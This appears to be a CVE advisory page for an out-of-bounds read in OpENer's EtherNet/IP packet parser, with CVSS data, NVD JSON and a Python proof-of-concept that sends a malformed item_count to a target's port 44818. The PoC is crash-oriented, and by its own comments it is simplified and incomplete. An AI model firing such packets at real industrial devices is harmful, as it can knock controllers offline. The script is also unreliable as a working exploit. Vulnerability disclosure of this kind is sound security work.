Security Vulnerability Report
中文
CVE-2026-38719 CVSS 6.2 MEDIUM

CVE-2026-38719

Published: 2026-05-18 17:16:32
Last Modified: 2026-05-18 20:27:23

Description

OpENer v2.3-558-g1e99582 contains an out-of-bounds read vulnerability in the Common Packet Format (CPF) parser, specifically in CreateCommonPacketFormatStructure() in source/src/enet_encap/cpf.c. A crafted ENIP/CPF message can supply an attacker-controlled item_count value that is not consistently validated against the remaining data_length of the CPF slice

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

OpENer v2.3-558-g1e99582

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC for CVE-2026-38719: OpENer Out-of-Bounds Read # This script sends a malformed ENIP/CPF packet with a large item_count # to trigger the vulnerability in CreateCommonPacketFormatStructure(). def send_malformed_packet(target_ip, target_port=44818): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # ENIP Header (Simplified for demonstration) # Command: 0x0065 (Register Session) or 0x006F (SendRRData) # Length: Calculated below # Session Handle: 0x00000000 # Status: 0x00000000 # Sender Context: 0x0000000000000000 # Options: 0x00000000 # Constructing a vulnerable CPF payload # The vulnerability lies in the Item Count (2 bytes) # We set it to 0xFFFF (Max uint16) while providing minimal data # This violates the data_length check. # CPF Item Count (Vulnerable field) item_count = 0xFFFF # Assemble the payload (Simplified ENIP SendRRData structure) # Interface Handle: 0x00000000 # Timeout: 0x0000 # CPF Count: 2 (Number of CPF items - usually 2 for address/data) # CPF Item 1 Type: 0x0000 (Null Address) # CPF Item 1 Length: 0x0000 # CPF Item 2 Type: 0x00B2 (Connected Data Packet) # CPF Item 2 Length: 0x0000 # To trigger the specific bug in CreateCommonPacketFormatStructure, # we focus on the CPF header parsing where item_count is read. # Here we simulate a raw CPF structure push. payload = struct.pack(">H", item_count) # The malicious Item Count # Note: A full valid ENIP session handshake (Register Session) # is typically required before sending encapsulated data. # This payload demonstrates the specific malformed structure. s.send(payload) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") print("[+] Check if the OpENer process crashed or logged an error.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP TARGET_IP = "192.168.1.100" send_malformed_packet(TARGET_IP)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38719", "sourceIdentifier": "[email protected]", "published": "2026-05-18T17:16:32.127", "lastModified": "2026-05-18T20:27:23.023", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpENer v2.3-558-g1e99582 contains an out-of-bounds read vulnerability in the Common Packet Format (CPF) parser, specifically in CreateCommonPacketFormatStructure() in source/src/enet_encap/cpf.c. A crafted ENIP/CPF message can supply an attacker-controlled item_count value that is not consistently validated against the remaining data_length of the CPF slice"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/EIPStackGroup/OpENer", "source": "[email protected]"}, {"url": "https://github.com/EIPStackGroup/OpENer/issues/558", "source": "[email protected]"}, {"url": "https://github.com/EIPStackGroup/OpENer/issues/558", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}